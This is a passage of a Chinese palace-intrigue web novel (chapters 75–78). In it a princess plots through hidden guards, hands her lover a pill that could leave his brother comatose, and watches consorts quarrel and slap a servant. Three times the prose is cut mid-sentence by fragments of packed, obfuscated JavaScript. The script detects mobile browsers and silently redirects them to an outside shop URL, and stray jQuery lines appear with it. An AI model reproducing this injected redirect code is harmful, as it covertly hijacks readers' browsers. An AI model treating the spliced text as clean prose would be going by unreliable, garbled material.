萧沁澜的手指缓慢下滑，覆在他的后背，“有些父母就是这样，吃穿不愁，想要什么只要开口皆会在能力范围内满足。
但同样，他们会把这些付出当作对儿女的恩赐，处处贬低，处处打压，为那些看似受制、实则享尽一切的其他子女让步，嘴里还打着为你好的幌子，让你既恨不起来，也爱不下去。
陆承韫，你懂吗？”
“好，我心里有数。”陆承韫按在自己身体上，侧头靠着她，闭上双眼柔声问道：“今日怎么想着来了？”
“来看看你的伤势如何。”话题转的太快，萧沁澜顺从接过，手心于他的后背上游走。
衣料柔软，没有触及明显的疤痕。
他看上去也并无异样，大约是修养得很好。
“听闻今日，润知和宁郡王亦被召入了宫内？”
“做个样子而已，他们心里早有决断。”
“谈了什么？”
“只是闲聊，臣子众多，不会议论国事。”
“宁郡王与你谈了什么？”
听罢此话，萧沁澜胸口随着笑意微微颤动，“你猜得没错，润知在我两人中间。萧抒与我，并未交流。”
她一向都是这般直接，从不会掩饰。
陆承韫将她搂得更紧，额头不住地蹭着她，“沁澜，公主府建成还需时日。我的轻功不如你，无法避开耳目进入宁安宫。也不能像润知那样，直接去寻太后。总是这样偷偷摸摸的，好像我是个见不得光的外室。”
话音刚落，萧沁澜脸上的笑意凝固，却行若无事，“不会。你有了其他办法。”
“……嗯。”陆承韫嘴唇蠕动，又自嘲苦笑，放任自己说出心底的冲动与欲望，“沁澜，该招驸马了。”
75. 第 75 章
烛光摇曳，新燃的炭盆噼啪作响，室内犹带寒意。
萧沁澜此行身负要务，提及“驸马”二字，便已了然他的心绪有些沉沦，不可过多缱绻。
“我身不由己，你说的事儿并非随意轻言可成。况且……”
她起身步至床前取过披风，细细地环绕于他的颈间，系好垂带。
“我对你的期许远不止于驸马二字。父皇在世虽对我宠爱有加，特颁诏令驸马亦可入仕，但终究不能执掌实权与高位。就算我强行提携，外界难免会议论纷纷。”
陆承韫垂首注视着那温柔举动，心神微恍，“对你倾心者不乏少数，你选择我定有缘由。”
萧沁澜言不及意，“这次出征已成定局。定国公话说的糙，可你若随行还是获益匪浅。待你凯旋之日的地位会再上一层，朝堂之上定将有你立足之地。”
“说到此，边关之事，你莫非一清二楚？”待她松开系带，陆承韫握住她的手，轻描淡写问道。
“我于你从无隐瞒。”
萧沁澜双眸璀璨如星望着他，言辞倒是颇为恳切，“除初语楼外，珠宝楼、布锦坊、望月阁皆为我名下主力产业。其余琐碎我早已列名成册，你也仔细瞧过。
不过士农工商，仅凭经商一般难以达成所愿，亦无法护佑心中所系之人，于是我便有了暗卫营的念头。
暗卫营消息灵通，人员遍布明昭王朝，却非无所不能。边关的消息，我也是直至十日前方才得知。”
“十日？可是正月初一？”
“三十。”
萧沁澜纠正，抬手轻抚他令人满意的面庞，“事态太过紧急，我听说后遂调集京师众多人手赶往边关制造混乱，散布真假难辨的谣言，方使边关将领警醒，有时间调兵遣将，同时派人向京师传递消息。”
陆承韫听罢神色愈发温柔。
她是特意向自己说明解释，为何之前有诸多隐瞒。
自己培养暗卫不过是为了寻求自保，缺乏足够的经济支撑，只能竭尽全力，去探查与揣测宫中及京师的最新动向。自然无法如她那般，提前洞悉诸多朝政大事。
说来她足够沉着，直到现在才将一切和盘托出。
那么，其他事情呢？
她不愿麻烦，凡事亲力亲为，真的是在为未来做打算吗？
陆承韫握着她的柔夷，抿唇不语。
战事关系重大，绝非一句“忙不过来”就能随意推脱的。
萧沁澜不了解他的疑惑，却也能猜到他心生疑虑。
她从腰间取出宫中带来的瓷瓶，放在桌上，挑了挑眉。
“给我的？”
“嗯，给你的。”
萧沁澜再次回到他的膝盖上，搂住他的脖子，“现在还不是用的时候。此战我们稳操胜券，你兄长前去不过是镀金，争一份功劳以便与太后分庭抗礼。但战场凶险，受些小伤也是难免的。”
“……小伤？”
陆承韫猛然抬眸望去，神色骤变，全身略带麻木地无意识侧目，瞥向那毫不起眼的小瓷瓶。
“药丸小巧，足以应对小伤重伤，抑或是无法起身，终生沉睡。怎么用，皆由你自己裁夺。”
“沁澜……”
兄长与她自幼相伴，与润知的差异仅在于未形影不离。
说到底，她们之间并无刻骨之仇，铭心之恨。
见他沉默不语，萧沁澜双手捧起他的面颊，耐心地于唇间落下一吻，“你应该深知我心，我不会管束那些莺莺燕燕。平定之后回京，陛下威望更深，那时我便拒绝不得了。”
此言合情合理，更是关乎一生。
陆承韫心中稍稍释然。
世间女子能有几人与她比肩。
既已得此佳人，自己便不会因烦闷而孤老终生，更不会寻求刺激以慰藉。
此二者，皆是对她的不敬与亵渎。
是自己的！
念及此，陆承韫猛地伸手按住她的后脑勺，身躯前倾，辗转缠绵品味。
碳火仍在作响，烛光掩映着水光潋滟，二人相依相偎，沉醉其中。
……
自亥初一刻起，至亥正三刻终，整整半个多时辰。
萧沁澜衣衫尽褪，气喘吁吁地倚靠在他肩头，喘息着平复内心的波澜。
陆承韫衣衫整洁，未染丝毫褶皱。
他嘴角含笑，搂着她的腰肢，见她难以支撑便抚慰着她光洁的后背。
待气息略微平复，萧沁澜愤恨地在他脖颈上咬了一口，抬起指尖戳着痕迹，“不累吗？你的伤真的痊愈了？”
“动作轻柔，并无大碍。”
“哦……”
“还有何事需交代吗？”
萧沁澜紧闭双眼，轻咬着下唇，“为防你受伤，或是不慎自用，此次出征本采的妹妹将跟随于你。你……”
她的声音微微颤抖，双手紧紧捏住他的肩膀，“她医术与武功皆属一流，你可全然信赖。”
“嗯，我知晓了。”
陆承韫将她被汗水打湿的碎发小心翼翼别到耳后，望着她潮红的脸颊，终是未能忍住，猛然起身，不顾身上人似泣似痛的呢喃，一步一步，缓慢而坚定地走向床前……
＆
正月初十，边陲再传烽烟急报，京师内外复陷纷纭，人心惶惶难安。
鉴于战情危急，圣上于退朝之后，复聚群臣于太和殿重启朝纲，昭告此番战事之危殆，敌寇之嚣张，边疆之水深火热，国运之兴衰沉浮。
群臣闻之，无不痛心疾首，皆神色凛然，无畏无惧地齐声应和，恳请明远太后暂摄国政，陛下亲率大军，征讨那狂妄悖逆、背信弃义的蛮夷，誓要将其尽数诛灭。
朝会绵延两个时辰之久，终因生灵涂炭，国运攸关，明远太后遂允诺，于朝中安抚民心，稳固时局，以待圣上凯旋而归。
正月十一，陛下沐浴净身，焚香致敬后亲临太庙三跪九叩，祈愿太祖皇帝庇佑明昭王朝诸事顺遂，众将士平安凯旋。
午后召集群臣中武职者，密商军机要务，初步确立战略方针及人员配置。
正月十二，晴空万里，碧空如洗，局势呈现一片大好之象。
宫门外，龙旗猎猎作响，百官皆身着朝服，不论品阶高低纷纷汇聚于此，满面自豪地仰望马背上英气勃发的陛下。
兵马齐备，整装待发。
圣上身披铠甲，头戴皇冠，检阅三军将士。
随后言辞犀利地痛斥外族背信弃义、狼狈为奸、烧杀抢掠的罪行。
众将士听后振臂高呼，声如洪钟，士气高昂，誓死捍卫明昭王朝的子民与锦绣河山。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715637|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
战鼓息止，圣上高坐马背大手一挥，浩荡大军随即紧随其后，整齐列队。
军队依次出城，沿途之上京师百姓齐齐低头跪地，夹道欢送。
欢呼声震天动地，高呼万岁之声不绝于耳。
萧沁澜隐身于百官之中，亲眼见证着深厚的民意与如虹的气势，眼神与内心却无丝毫波动。
＆
宫内热闹了不足三个月，权柄重新归于明远太后与贤昭公主之手。
待陛下凯旋之日，必会有新秀妃嫔充盈后宫，皇后之选亦将尘埃落定。
至于宫中的淑妃、祥妃，但凡有眼界的皆心知肚明暗暗远离。
宁安宫内灯火微暗，陛下离去不过朝夕，内务府总管便已亲自奉上琳琅满目的首饰绸缎，说是陛下出征前夕，特命大太监叮嘱所备。
翡翠项圈镶嵌着璀璨宝石，织锦罗衣上绣着繁复的凤凰纹路，更有绯红的珊瑚手串与绣蝶衣裳，金钗玉饰熠熠生辉。
本采将那些盒子细心收至库房一隅，逐一安放妥当后，手捧一盏助消化的羹汤与两碟精致糕点步入屋内，置于贵妃榻旁的案几之上。
“主子近日面容淡然，不见半分欢颜，莫不是在为二公子忧心忡忡？”
萧沁澜翻阅着手中的话本，啜饮了一口她刚泡好的香茗，“本宫方才已沐浴更衣，点心便不必了，你且端去给守夜的暗卫分食吧。”
自国公府归来后，她已连续三日的晨间未再练剑，饮食亦明显减少。
本采焦虑不已，相劝道：“主子，身体康健方为要务，如今我们已迈出第一步，未来皆是重大事宜，需要养精蓄锐，不容有丝毫差池。”
“你莫非以为本宫夜夜辗转难眠，是因对陆承韫过度担忧，以致于寝食难安？”
“……奴婢愚钝。”本采嘴唇微动，躬身致歉。
萧沁澜听罢不禁轻笑出声，眉眼弯弯地望着她。
女子理应洁身自好，一旦心许某人，无论对方品性如何，都该忠贞不渝。
呵……
本采样样皆好，唯独思想仍与这个时代紧密相连，即便随侍她身旁已久，亦很难超脱。
萧沁澜合上书卷，“边关事宜可都安排妥当了？”
“已然妥当。”她话题转换迅速，本采早已习以为常。
尽心尽力地完成主子的嘱托，乃是她最为擅长之事。
本采道：“边关若能开通互市，便不再是贫瘠之地。周边村落虽不稠密，但农户众多，耕地亦与之相配。陛下驾临的地方条件只会更加优越。
暗卫已分别潜伏于仅有的三家茶馆、菜贩，以及将领与士兵之间。届时定会按照原计划行事，不会有任何差池。”
“嗯，有你筹谋，你妹妹执行，本宫自是更加放心。”
萧沁澜含笑点头，忽而话锋一转，“但切记，一切行动皆需大局已定、外族侵扰尽除后方可展开。将士们保家卫国，艰辛远非京师闲官可比的。他们常年与家人分离，所得银两皆是血汗钱，不可轻易将他们卷入是非之中。”
“这些事情主子时刻叮咛，属下等早已铭记于心。妹妹也深知轻重，绝不会伤及无辜。”
“再修书一封吧，谨慎些总是好的。”萧沁澜言罢，起身端起糕点与羹汤，步至寝殿外，唤来守夜的暗卫逐一分食。
76. 第 76 章
宁安宫内，萧沁澜分食完毕，悠悠然回到贵妃榻上，抬眸笑意吟吟地望向本采。
“本宫沐浴后不喜进食，不过你今日做的糕点香气诱人，明日的午膳只需这两样便好。”
本采嘴角瞬间扬起，郑重应允。
萧沁澜朝她颔首，继而垂眸凝视书卷，轻描着上面的字迹，“听闻明日，润知要与宁郡王同往护国寺祈福？”
骤然听闻此话，本采深吸一口气，紧闭着双眼无奈应道：“是，属下明白了。”
＆
正月二十，晨曦初现，天边泛起一抹淡金，京师屋檐下的晨露凝结成细密的冰凌，闪烁着晶莹的光芒。
寒风凛冽刺骨，由于天色尚早，街头巷尾行人稀少，唯有菜贩与面食摊的摊贩紧裹着衣袍，在房屋的阴影下忙碌，为即将到来的白日繁华做准备。
“啊……”
宁郡王府内，马厩的厩长舒展着腰肢，打了个长长的哈欠，又晃了晃脑袋，待神志稍稍稍清，便前去照料主子早已备好的出行马匹。
刚走到马厩旁，不料竟看到有人比他更早到达。
“石丘？你今日不是请了假，要回家探望父母吗？怎的还未动身？这一来一回可要耽误不少时间啊。快去吧，这里有我照应便好。”
被他拽起的石丘搓着双手，眉眼低垂，话语中透露出明显不安。
“小的进入这府中已经两年有余，极少有机会目睹主公与诸位显贵的风采。
昨日听闻陛下为数百平民亲自出征，而今日王爷将与醇亲王共赴护国寺祈福。小的有幸被调至马窖，心中不免有些好奇，想借此机会开开眼界，故而拖延了些许时间。
那个……小的是不是做错了呢？”
“自然是错的！”
厩长抬眼望他，语气无奈，“你只看到了事件表面，却未明白其中的深意。咱们王爷与醇亲王都是皇室贵胄，我们这些下人见了他们，自当要时刻保持谦卑之态，最重要的是不可直视主子的面容。
你如今存了这样的心思，简直是在自寻死路。”
“啊……那小的……我还有救吗？好哥哥，你一定要指点我啊，我家中还有老小……”
“行了。”厩长打断他的滔滔不绝，恨铁不成钢。
毕竟相处两年，即使没有任何实质好处，也对这个勤奋刻苦、埋头苦干的小伙子颇有好感。
厩长道：“咱们这位宁郡王性情豁达，很少在琐碎小事上计较。
但奴才始终是奴才，就算你是因为家境贫寒才进府做事，也要事事以王爷为重。若是见到王爷，需保持恭敬和谦卑，要牢记切不可抬头直视。也不要想着去巴结讨好，只要像现在这样踏踏实实地做事就好。
王爷平日里接触的都是皇族贵戚与朝中重臣，他们的心思岂是你我这些奴才能够揣测的？不过，你想要见识一下世面，我倒也能理解。
这样吧，你今日先回家探望父母妻儿，以后若再有这样的好事，哥哥我会想着你的，如何？”
“哎呦，小弟我就先谢过哥哥了。”
言罢，石丘自怀中掏出一串铜板，悄悄塞入他的袖口之中，“这点小意思，哥哥可千万别嫌弃。等我日后领了俸禄，定要请哥哥去那望月阁好好吃上一顿，潇洒一番。”
“不错嘛……”厩长抬起手指点动几下，明白他的难处，也就未细数铜板有多少。
不过见他如此识趣，更多了几分真诚相待。
天色尚早，王爷还未用早膳，厩长便将他带到一处偏僻的角落，细细地嘱咐他这府中各个管事的性格特点，以及王爷的大致行程安排。
石丘听得认真，脸上满是受益匪浅的神情。
临别之际，还将自己腰间挂着的烈酒送给他，使得他更加感动，推心置腹地再次交谈一番，方郑重地告别而去。
＆
辰时初过，大街上已是人声鼎沸，叫卖声此起彼伏，各类美食的香味儿交织于一起，蔫润知早已用过早膳，却不免被这难以抗拒的烟火气息所吸引，影响原本行程。
兜兜转转间，悠闲自在，来到护国寺的山门前已近正午。
蔫润知找了个合适的地方将马拴好，又寻了处安静无人的角落，拍了拍青石板上的尘土，坐下享用着剩余的小食。
“你说你至于这样吗？”
萧抒唠唠叨叨，边拴马边不停地向这边瞅来，“新出的小食又不会马上消失，就算无人问津也会坚持一段时间。
你怎么好像饿死鬼投胎一样，非要绕来绕去地买这么一大堆，结果大部分都不合胃口，扔给路边的野狗。有钱也不是你这样浪费的啊！”
新年伊始，京师中涌入不少新的商户。
蔫润知心血来潮，买了十种便于携带且从未见过的小食。
尝来尝去，却发现只有一样味道还不错。
他缓缓打开手中的最后一包，捏起块细细咀嚼，眉头紧蹙，不悦地将那袋纸包全部塞给刚巧走来的萧抒。
“还不错啊？”
萧抒尝了一口，仔细端详着眼前的点心，“能吃，味道也不怪，看着还挺精致的。怎么，不合你胃口？”
“宫里这种点心多了去了。”蔫润知拍了拍手上的残渣。
“宫里？”萧抒疑惑片刻，当即恍然大悟，点了点头，“确实，仔细品味，这和御膳房做的某些点心确实有些相似。”
他凑近蔫润知，挑眉揶揄道：“贤昭吃了四年，想必已经腻了。哎呀，咱们润知可真是细心，这般贤良淑德，只要死缠烂打，就算是铁石心肠的人，也一定会被感动的。”
“是吗？借你吉言了。”蔫润知故作满不在乎地回应，随手揪下枝头初生的嫩芽，捏在指尖翻来覆去地把玩。
“啧啧，真是问世间情为何物，直让人头昏脑涨啊。这小叶子又招谁惹谁了，多鲜嫩的一条生命，你可真是够残忍的。”萧抒说完，又往嘴里塞了一大块糕点。
“快点儿吧，本来今天打算早点儿来的，谁知你又赖床。现下人已经这般多了，待会儿进了寺里，神明哪儿有空理你。”
“哎，你怎能凭空败坏我的名声！”
萧抒梗着脖子咽下干巴巴的糕点，气哼哼道：“要不是你在街上绕来绕去，我们何至于现在才到。我看你心里全是情情爱爱，半点儿都不真诚。”
“本就是做一场戏，板上钉钉的事，哪有什么成与不成。”
蔫润知耸了耸肩，望着他空无一物的纸袋，好心伸手接过团成一团，塞在他马匹的袋子里，随后抬步踏上山门，招呼着身后，“快点儿，今儿还要回去呢。”
“……你可真是个奇才。”
萧抒亲眼目睹了全过程，忍不住高声抱怨，几步追上他的背影，推搡着向高高的寺庙前行。
＆
春寒料峭，翊坤宫内，宫女们俯身将午膳一一撤下。
淑妃优雅地用手帕擦拭嘴角，漱口清洁后，于大宫女的搀扶下迈着莲步来到卧榻之侧，单手托额，斜斜地靠在软枕上，慵懒闲散。
“都一整日了，也不知陛下现在到了何处。这一路奔波该有多么劳累啊。这样美味的膳食，行军途中也不知能否享用得到？”
进柠柔声道：“娘娘心系陛下，自从得知陛下要御驾亲征，这几日来每晚睡前都虔诚祈福
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721752|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。陛下若是知晓，定会倍感欣慰。待此次得胜归来，娘娘定能宠冠六宫。”
“什么六宫不六宫的，算上潜邸时侍候陛下的老人，这宫内统共只有五人。想要聊天，都寻不到合适的人选。”淑妃轻抚指尖上的蔻红，无聊地撇了撇嘴。
进柠听罢一时语塞，不知如何回应。
世人皆知此战潜藏危机，却胜券在握，任凭何人前往皆可功成名就。
那些镇守边陲的将领英姿勃发、身份特殊，京师之内无人能压制，唯有陛下的命令方必须顺从。
将在外，君命亦有所不受。
这道策略对于动荡的朝局最为相宜，可今朝四海升平，军权过重。
若不服从天家调遣，则需谨慎提防。
无人能担保，权势滔天的将领不会心生野望，坚守初衷。
太后心存觊觎，想要收回兵权，故而应允了陛下御驾亲征。
唉，待陛下荡平四海，便是册立皇后，广选秀妃之时。
娘娘因着外戚之身，于闺阁中很是骄纵，除天家外目中无人。
现今入了宫闱，位居多数人之上，心绪反倒愈发显露。
自己虽不聪慧，但亦能理解常人情感，可娘娘这份迟钝……
进柠哭笑不得，欲言又止。
陛下不在宫中，太后又忙于前线与朝政，无暇顾及后宫。
贤昭公主性情恬静，注重颜面，除必要宫务外，终日在宁安宫内笔墨为伴。
淑妃眼神闪烁，吩咐她搀扶起身，挑选了华裳贵服，佩戴满头珠翠，对镜自照。
见那袅娜端庄的身姿依旧，方满意地勾起唇角，继而率领众人，慢悠悠向延禧宫前行。
很是不巧，待穿过长廊，带着满腔“热忱”来到此间，却听宫女回禀，祥妃于宫内散心，不知去了何处。
淑妃顿时兴致全无，命进柠狠狠掌掴对方数掌，放了无数句狠话，踹了数脚，方稍解心头之怒，坐上轿辇，沉着脸离去。
＆
宫闱之内的消息如风，迅疾传播。
御花园内，萧沁澜轻触着新萌的嫩叶，无奈摇头，嘴角勾勒出淡淡的愁绪。
“四载光阴，皇兄首度亲征边关，淑妃娘娘心绪难宁，烦躁之下迁怒无辜宫女。祥妃娘娘，前朝事务繁杂，本宫肩负宫务重任，还望后宫勿再为母后增添烦恼。”
祥妃嘴角含笑，神情温婉从容，“哪里的话，本宫得陛下垂青忝居妃位，对于这等孩童般的嬉闹，自应宽大为怀。贤昭公主无需客套，本宫心中明了。”
恰似天意安排，她闲暇之余漫步至御花园，偶遇贤昭公主与兴安伯家庶女闲谈。
二人虽交往不多，却常常听闻彼此的事迹。
陛下亲征，最多三月，殿试之前定当凯旋，届时这贤昭公主怕是要登上后位啊……
因前朝与陛下的有意无意提醒，登上后位已是不可违逆。
看来她索性不再伪装，直接撕破脸皮，坦露心声。
萧沁澜盈盈浅笑，岔开话题，不予回应。
“如此甚好。只是现今宫女身份卑微，待皇兄选秀之后，宫中恐将多一些官宦人家的千金，如南门姑娘。到那时还需提醒淑妃娘娘，切勿随意打骂。
哎，宫中事务繁杂琐碎，本宫受母后嘱托方才接管，不知公主府何时才能落成。”
此言一出，祥妃嘴角的笑意瞬间僵住。
这贤昭公主究竟是真的无欲无求，还是刻意为之。
不就是仗着太祖皇帝唯一血脉的身份，方让太后给予少许权力。
她拧着手中锦帕，待情绪平复后，忽而轻笑出声。
77. 第 77 章
御花园内，祥妃面容恬静，言辞却意味深长。
“公主殿下言之有理。宫廷琐事纷扰心神，加之殿下已届桃李年华，合该谨慎甄选佳婿，为己而活。”
祥妃与淑妃都未历经多少风霜，深居闺中享尽了荣华富贵。
但她更因家兄身居显位，内心难免骄矜自满，视百姓性命如草芥，肆无忌惮，有恃无恐。
这等愚钝之人，实在不值得耗费心力。
萧沁澜微微颔首，漫不经心地应道：“祥妃娘娘言之有理。”
举止端庄，言辞谦和，祥妃细细观察她的气度，眼神中流露出些许自得。
太祖皇帝的血脉尊贵又如何，柔弱无争的人即便日后母仪天下，亦是纯良可欺之辈，就连宫娥都不敢苛责。
祥妃正欲开口，却不想身后骤然传来一道熟悉至极的声音。
“呦，这是哪家的贵人，区区妃位，一月仅得陛下召见三次，竟敢对我朝唯一的公主这般无礼？”
娇媚嚣张，未见倩影，已闻娇音。
后妃终为贵妾，位不及侧室。宫中除太后外，众女皆需向贤昭公主致敬。
萧沁澜嘴角轻扬，含着淡淡笑意望向来者。
祥妃位卑，却不会因这等琐事当众失和，引得后宫动荡，招致太后嫌弃与厌弃。
一番繁复颔首之后，淑妃率先开口挑衅：“本宫原以为是哪家的显赫嫡女，竟敢与贤昭公主不拘礼节地交谈。原来不过是个有封号的低等妃子！
真是可笑，也不瞧瞧自己流淌的是何等卑贱血脉。真以为仗着有个几品小官的兄长，便能肆意妄为？敢对当今唯一公主殿下的婚事指指点点。
也不瞧瞧你那点儿智商是否配得上，还想插手婚事！恐怕连京师中官员的职责都分不清，道不明吧。
不知你哪来的自信，留不住陛下宠爱，自己无能，便想出来指手画脚。这宫中可不是你那小小的伯爵府，整个皇宫的人都归贤昭公主管辖，你一个妃子也不例外。
若非贤昭公主心慈手软，今年你恐怕连宫中的月银都发不出来。
哎，不像本宫，家中财富丰厚，赏给宫女的一个小物件，便比你那身衣裳值钱许多。
只是她们体贴，不好意思炫耀，以免让某些不知天高地厚之人露出真面目，随意吓唬人。”
淑妃方才乘坐轿辇绕后宫一周，终于找到对方。
这半个时辰的烦躁与憋闷难以宣泄，便毫不留情地怼了回去，不给对方半点反驳的机会。
这番言辞抑扬顿挫，不急不缓，祥妃数次欲张口反驳，对面却早有准备。
那顾盼流转的眼神每次瞥向她时，都猛然提高音量，使得她的话就算道出，亦显得软弱无力，毫无气势。
又是女子间的争风吃醋。
萧沁澜对此心生厌倦，行若无事地抚摸那鲜嫩欲滴的绿芽，安抚了片刻后，便向身后的本采使了个眼色，悄无声息离去。
一番竹筒倒豆子，淑妃顿觉心胸舒朗，可在瞅见旁侧的南门鸢时，脸色陡然沉下。
世人皆传，当今醇亲王对贤昭公主情深意重，矢志不渝。
女子身边有这样的痴情男子，想必心中也存了几分情愫。
可到现在都未明言，大约是太后那边有意按下不表。
原本家中将庶女被安排在她身边，由她庇护便大为不满，但碍于醇亲王不可轻举妄动。
一个月过去，南门鸢只是被安排了微不足道的琐碎杂务，既学不到本领，亦未得到经验，反而惹了一身骚，令内务府对她颇有怨言，评价多为贬低。
将脏活累活一并甩出，仍落得贤良大度的美名，这贤昭公主手段果然高明。
太后强迫贤昭公主收纳那不要脸的庶女，这样一来，反而会让醇亲王更加心疼。
仇敌之仇，便是盟友。
不过遇事只知退缩，耍这些小聪明，贤昭公主还真是纯良可欺。
也不知她是否后悔，当年为了那个庶女竟掌掴自己。
现下自己前来解救她，醇亲王的这份人情，自己是势在必得。
淑妃阴阳怪气地嘲讽数句，继而昂首挺胸得意望向身侧，准备迎接那感激的目光，并道声“应该的”，可谁知刚一转身，便发现贤昭公主已走出两米有余。
“站住！”淑妃怒不可遏，大步流星地赶上前去，猛地拽过那低头扮作鹌鹑的庶出之女，抬手便甩出一记重掌，“啪”地一声，尤为脆响。
“本宫何时准你离去了？
你这卑贱之人，不要脸丢府邸面子姑且不论，今日竟对长姐、对陛下、对天家威严统统不敬，真当自己是那官宦人家的千金，摆着副丧气十足的冷面。
怎地，陛下刚御驾亲征，你便摆出这副模样做给谁看！胆敢诅咒陛下。
来人，将她拖下去，给本宫重重责罚！”
……
狗仗人势，甚是典型啊！
萧沁澜停驻脚步回身，差点忍不住叹息出声。
原以为淑妃终于开窍，恍然大悟，想要与自己联手先除一敌，未曾想……
到底高估了这愚钝之人。
为求生存，南门鸢的所作所为或许无可厚非。
但过往的种种行径一旦传扬开来，足以让她背负天下骂名，身败名裂。
身为女子，不顾名声者多会被家族劝解，一头撞死；抑或主动请求逐出家族；母亲也理应悬梁自尽以谢罪。
这世道，何其苛刻！
世人皆言，打狗还需看主人。
萧沁澜轻声细语地说了几句客套话，见淑妃仍旧滔滔不绝，她叹了口气，退到一旁静观其变，淡定地吩咐本采去请明远太后前来主持大局。
明远太后行事果断，淑妃听罢方才的嚣张气焰瞬间消散，只得骂骂咧咧地戳了对方一顿脑门，又跑到祥妃面前，与之针锋相对。
见她还算识趣，萧沁澜悠然转身，云淡风轻地离开了这喧闹之地。
南门鸢自始至终安静至极，仿佛早已习惯，任由对方发泄那故意挑起的怒气，活脱脱一个受气包。
四周清风拂面，日头正盛，萧沁澜身上的披风有些厚重，额角渗出了细碎的汗珠。
她缓缓解开披风，将其递到南门鸢手中，抬眸望向对方那唯唯诺诺的样子，浅笑道：“本宫并不想招惹事端，你若觉得此处不合适，本宫自会给你安排一个好去处。”
南门鸢闻言霎时瞪大了双眼，全然不顾尊卑礼仪，眸子亮晶晶地直视着她，“殿下所说的，可是醇亲王府？”
只要有机会，她总
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725871|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会提起此事。
“你对润知，倒真是一往情深。”萧沁澜轻轻拍了拍她的手背，“赏你了。”
说罢，她不疾不徐地转身，漫无目的地在宫中闲逛。
身影渐行渐远，南门鸢眼眸低垂，手中紧紧攥着那件洁白如雪、华贵无瑕的厚重披风。
跟随殿下已有一月有余，她至今都无法摸透对方的性格。
从面上看，若非对方太过跋扈，殿下从不争抢，皆愿息事宁人。
真的如表象一般与世无争吗……
抑或是自己多虑了？
＆
“我的天啊……”
京郊之外的树林小径中，萧抒夸张地伸了个懒腰，揉着酸痛的双腿，趴在马背上，气息微弱。
“润知啊，你是不是背着我每天早起偷偷练习了？这么高的山，你怎么不见有半点疲惫？”
他前几日发现一大片空地，二人突发奇想，这次下山走的未曾选择走官道，商量过后一致决定去那块比赛骑术。
京师中记挂的人儿不可随意出宫，回去也没多大意思，蔫润知便顺着对方的性子，前来赏玩。
他脚程快，生生拽着他跑前跑后，粗略地完成了太后交代的上香任务，此刻刚过未时初，天色尚早。
“你不是每日皆要前往猎场骑马射箭吗？身体怎的这般虚？”
言毕，蔫润知视线上下移动，嫌弃地拽着缰绳离他稍稍远了一些。
萧抒的马儿倒是懂事，见对方远离，它“嗤”了一声，喷出一口热气，不屑地移至小径边缘。
“你这马究竟是从哪儿买来的？居然这样聪明？该不会特意花了重金淘来，就是为了看我的笑话吧？”
“我的家产你还不清楚吗？每次外出吃喝皆是你来付银钱。也就每个月有了少许进账，我才敢开口邀请你，哪里有闲钱去买那些乱七八糟的东西。”
萧抒指了指身上的衣料，“为了充面子，光是今日这身费用，就花掉店铺整整一年的盈利。说来我都觉得不好意思，你竟还这般揶揄我。
对了，方才见你在佛祖面前跪了许久，还念念有词地拜了又拜。到底许了何种愿望？哦……我猜肯定跟终身大事有关吧。
嘿嘿，你这点儿小心思，恐怕连佛祖都听得不耐烦了。”
“你可是三生有幸，定了通政使司的嫡女为妻，好福气啊！”蔫润知不甘示弱地挑了挑眉。
那嫡女样样都好，唯独身材高大，略显魁梧，一拳下来能打死三个文弱书生。
萧抒历来钟爱温柔娴静的女子，最好是像贤昭公主那般，长相清丽脱俗，能文能武，且与他聊得投机，玩得尽兴。
想到此处，他不禁一阵烦闷，“我们这样互相伤害有意思吗？”
“难道只有你能笑话我，我还不能还嘴了？我倒是从未见过你这类前后不一的人，真是厉害。”蔫润知晃晃悠悠，偏头笑着调侃他。
话音未落忽然察觉到四周气息不对，他刹那收敛笑意，眼神微微眯起，凝神四望。
寒风轻拂，带着不易察觉的凉意，使得那些倔强生长的零星绿叶亦随之左右晃动，发出“沙沙”的沉闷低语。
斑驳的日影穿过树梢，原本还有迹可循，有理可依，转瞬却变幻莫测，危影重重。
78. 萧抒结局
时至傍晚用膳时分，望月阁内灯火璀璨犹如白昼，即便各色菜肴消费不菲，却仍旧食客满座，络绎不绝。
众多富商巨贾、手头颇为宽裕的平民百姓皆慕名而来，想要在此地一睹京师繁华。
阁内酒香与各式佳肴的香气交织缠绵，令人垂涎欲滴。
食客们或坐或立，三五成群地围炉共饮，推杯换盏间，欢声笑语不断。
随着酒意渐浓，他们的胆子也大了许多，言语间少了平日里的诸多顾忌，更加直言不讳。
一位身着朴素旧衣的士子，手持羽扇轻轻摇曳，信心满满道：“今夜星光熠熠，月色皎洁如银，实乃大吉之兆啊！我料定此番征战，陛下定能大获全胜，将那些南蛮敌军击得溃不成军，落荒而逃。”
“得了吧，你就别在这儿瞎扯了。”
